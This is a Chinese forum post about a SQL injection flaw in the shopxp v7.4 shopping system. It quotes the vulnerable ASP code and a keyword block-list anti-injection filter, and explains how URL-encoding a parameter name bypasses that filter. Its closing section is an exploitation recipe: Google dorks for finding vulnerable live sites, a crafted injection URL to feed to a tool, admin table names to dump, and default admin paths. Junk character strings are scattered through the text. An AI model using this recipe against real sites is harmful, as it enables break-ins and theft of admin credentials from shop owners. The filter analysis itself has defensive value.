
- 帖子
- 164
- 积分
- 308
- 阅读权限
- 10
- 注册时间
- 2007-10-8

|
沙发
发表于 2019-7-25 23:01
| 只看该作者
shopxp v7.4 SQL注入漏洞 shopxp网上购物系统 v7.4存在Sql注入漏洞。问题文件:xpCatalog_xpDesc.asp,xpCatalog_xpsmall_Desc.asp问题代码:<% , f2 A2 b0 X: p/ C! f+ l
dim shopxpbe_id, anclassname, shopxpse_id, nclassnamedim totalPut dim CurrentPage, TotalPages ' b( F9 }% S# d7 }
if request("shopxpbe_id")<>"" thenshopxpbe_id=request("shopxpbe_id")elseshopxpbe_id=0end ifif request("shopxpbe_id")="" then shopxpbe_id=1end ifif not isempty(request("page")) thencurrentPage=cint(request("page"))elsecurrentPage=1end if
- y5 m+ p2 d( g# \# A5 x: Q- zset rs=server.createobject("adodb.recordset")rs.open "select * from shopxp_btype where shopxpbe_id="&shopxpbe_id,conn,1,1anclassname=rs("shopxpbe_name")rs.close%>并没有对shopxpbe_id进行整形判断。下面在说说他的防注入系统。好像是网上的枫叶防注入。看代码吧:Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_ZxFy_Cl = 2 '处理方式:1=提示信息,2=转向页面,3=先提示再转向Fy_Zx = "../" '出错时转向的页面On Error Resume NextFy_Url=Request.ServerVariables("QUERY_STRING")Fy_a=split(Fy_Url,"&")redim Fy_Cs(ubound(Fy_a))On Error Resume Nextfor Fy_x=0 to ubound(Fy_a)Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)NextFor Fy_x=0 to ubound(Fy_Cs)If Fy_Cs(Fy_x)<>"" ThenIf Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 ThenSelect Case Fy_Cl省略部分代码 9 r4 x) u$ s4 ~( y
这个防注入系统在网上貌似很火,但是他防的是有问题的。关键是这句,Fy_Url=Request.ServerVariables("QUERY_STRING"),Request.ServerVariables得到的数据是原样的,并不会进行URL解码。这也就导致可以进行URL编码绕过这个防注入。以下是lake2对这段代码的分析: & m Z" }* c4 p1 F7 l
“它的思路就是先获得提交的数据,以“&”为分界获得并处理name/value组,然后判断value里是否含有定义的关键字(这里为求简便,我只留下了“and”),有之,则为注射。
! ^7 O1 N a$ }' n/ o1 M" H乍一看去,value被检查了,似乎没有问题。呵呵,是的,value不会有问题,可是,name呢?
$ d) O% }2 f q4 s它的name/value组值来自于Request.ServerVariables("QUERY_STRING"),呵呵,不好意思,这里出问题了。Request.ServerVariables("QUERY_STRING")是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。比如参数是ph4nt0m=lake2 and lis0,此时程序能够检测到;如果提交%50h4nt0m=lake2 and lis0(对p进行url编码),程序就会去判断%50h4nt0m的值,而%50h4nt0m会被转换为ph4nt0m,所以%50h4nt0m值为空,于是就绕过了检测。 ! E% W) t* b' ^- y/ O* n7 }
等等,为什么既然name不解码可以绕过检查而value就不能绕过呢?因为value的值取自Request(Fy_Cs(Fy_x)),这个服务器就会解码的。 * |! e* W i3 p) g
程序怎么改进呢?只要能够得到客户端提交的数据是解码后的就可以了,把得到name的语句改为For Each SubmitName In Request.QueryString就可以了。” / m$ d: `$ z! F) X2 P7 I
下面说下利用:Google:inurl:xpCatalog_xpDesc.asp?action_key_order=biginurl:Catalog_Desc.asp?action_key_order=big (这个貌似是商业版的)构造如下地址:http://www.sitedir.com.cn/xpCatalog_xpDesc.asp?action_key_order=big&shopxpbe_%69d=79 (对i进行URL编码),交给工具 手动添加表名:shopxp_admin 和shop_admin(商业版的)默认后台是 admin_shopxp 或者admin ! k& W1 m" {2 Q
2 s7 ` r, }$ h
# u& {! Y9 L, p5 s/ Y1 _9 U+ e- R; b* T4 b
' r8 H. @ Z% w. z$ y, C
+ Z9 f- p# ]7 u5 Q! C; `
5 h) y9 ]% Y! D* l
$ s0 Y& A4 q, o {0 b+ s/ d) z
6 X& X* F0 m& H! }2 B# a0 @0 [; j7 N, X( f% R2 w
# D( o n" ]1 M! y8 X J/ B; Z
! @; K6 O4 q( H/ c: k
) Z! g+ @6 Y5 ?+ @% G; N% g& `+ W: p1 l* v3 r7 O" X
: K' r; w5 b/ G% e0 r) Y
0 `" m! Y" i: S4 p& X# K: @+ y' ]. C
2 C6 v" c( k7 l& J
% \1 T( k6 F. g& }( T7 `公告:https://www.sitedirsec.com公布最新漏洞,请关注 |
|